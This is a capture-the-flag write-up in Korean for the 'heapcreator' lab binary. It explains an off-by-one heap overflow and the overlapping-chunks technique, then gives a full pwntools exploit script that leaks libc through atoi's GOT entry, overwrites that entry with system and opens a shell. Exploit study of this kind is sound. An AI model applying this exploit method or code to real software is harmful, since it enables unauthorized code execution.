문제
heapcreator 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
file 명령어의 결과는 다음과 같다.
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
바이너리 코드
create_heap()
__int64 create_heap()
{
...
for(i=0;i<=9;i++)
{
if(!heaparray[i])
{
heaparray[i] = malloc(0x10);
...
printf("Size of Heap : ");
read(0,&buf,8);
size = atoi(buf);
v0 = heaparray[i]
v0[1] = malloc(size);
...
*(_QWORD *)heaparray[i] = size;
printf("Content of heap:");
read_input(*((void **)heaparray[i] + 1), size);
...
}
}
}
edit_heap()
__int64 edit_heap()
{
...
printf("Index :");
read(0,&buf,4);
v1 = atoi(&buf);
...
if(heaparray[i])
{
printf("Content of heap : ");
read_input(*((void **)heaparray[i] + 1), *(_QWORD *)heaparray[i] + 1);
puts("Done !");
}
...
}
show_heap()
__int64 show_heap()
{
...
printf("Index :");
read(0,&buf,4);
v1 = atoi(&buf);
...
if(heaparray[i])
{
printf("size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[i] + 1));
puts("Done !");
}
...
}
delete_heap()
__int64 delete_heap()
{
...
printf("Index :");
read(0,&buf,4);
v1 = atoi(&buf);
...
if(heaparray[i])
{
free(*((void **)heaparray[i] + 1));
free(heaparray[i]);
heaparray[i] = 0;
puts("Done !");
}
...
}
heaparray[i] : 0x20 크기의 chunk 주소 저장
0x20 크기의 chunk : size | malloc(size)로 할당한 chunk 주소
edit_heap() 함수에서 1byte overflow가 발생한다. 따라서 할당한 chunk의 크기를 (16바이트 단위의 크기 - 8)로 하면 다음 chunk의 size 영역에 1byte를 덮어쓸 수 있다.
Overlapping Chunks 취약점
조건
- free chunk를 생성할 수 있어야 한다.
- free chunk의 size 영역을 overwrite할 수 있어야 한다.
공격 방법
- 3개의 chunk 생성
- 2번째 chunk를 free한다.
- free chunk의 size 영역에 재할당 받을 크기의 값을 덮어쓴다. (2번째 chunk의 크기 + 3번째 chunk의 크기 + prev_inuse(1))
- 2번째 chunk의 크기 + 3번째 chunk의 크기를 malloc을 통해서 할당받으면 2번쨰 chunk의 주소가 리턴된다. 이를 통해서 3번째 chunk에 overwrite할 수 있다.
exploit 방법
- create_heap() 함수를 통해서 chunk를 2개 할당한다. (첫 번째 heap의 크기는 (16*X - 8)로 하고 두 번째 heap의 크기는 0x20이 되도록 한다.)
- edit_heap() 함수를 이용해서 heaparray[1]에 저장되어 있는 chunk의 size를 overwrite 한다.
- heaparray[1]의 chunk를 free한다.
- create_heap() 함수를 통해서 overwrite한 크기의 chunk를 할당한다. 이를 통해서 heaparray[1]에 저장된 chunk의 data 영역을 overwrite할 수 있다.
주의할 점
만약 0x100 크기의 small chunk (large chunk) 두 개를 할당하고 앞에 있는 small chunk의 size 영역을 0x201로 덮어쓰는 공격이 가능하다고 하자. 그 뒤에 두 chunk를 free하고 mallc(0x1f0)하면 첫 번째 chunk의 주소가 리턴된다. 하지만 그 이후 malloc(0xf0)을 하면 error가 발생한다. unlink 함수에서 chunksize(P) != prev_size (next_chunk(P) 이 조건을 만족시키지 못해서 터지는 것 같다.
풀이
#!/usr/bin/python
from pwn import *
def create_heap(size,content):
p.recvuntil("choice :")
p.send("1"+"\x00")
p.recvuntil(" : ")
p.send(size)
p.recvuntil("heap:")
p.send(content)
p.recvuntil("SuccessFul\n")
def edit_heap(index,content):
p.recvuntil("choice :")
p.send("2"+"\x00")
p.recvuntil(" :")
p.send(index)
p.recvuntil("heap : ")
p.send(content)
p.recvuntil("!\n")
def show_heap(index):
p.recvuntil("choice :")
p.send("3"+"\x00")
p.recvuntil(" :")
p.send(index)
p.recvuntil("Content : ")
content=p.recvuntil("\n", drop=True)
p.recvuntil("!\n")
return content
def delete_heap(index):
p.recvuntil("choice :")
p.send("4"+"\x00")
p.recvuntil(" :")
p.send(index)
p.recvuntil("!\n")
file_path="/home/sungyun/round4/lab13/heapcreator"
puts_got=0x602028
atoi_got=0x602060
p=process(file_path)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
create_heap("40","ha_weeee^____^")
create_heap("16","ba_weeee^____^")
pay="A"*40
pay+="\x41"
edit_heap("0",pay)
delete_heap("1")
create_heap("48","1_c4n_0verwrite")
pay2="A"*0x20
pay2+="\x30"+"\x00"*7
pay2+=p64(atoi_got)
edit_heap("1",pay2)
atoi_got=show_heap("1")
atoi_got=u64(atoi_got+"\x00"*(8-len(atoi_got)))
libc_base=atoi_got-libc.symbols['atoi']
#one_gad=libc_base+0x4526a
system=libc_base+libc.symbols['system']
edit_heap("1",p64(system))
p.recvuntil("choice :")
p.send("sh\x00")
p.interactive()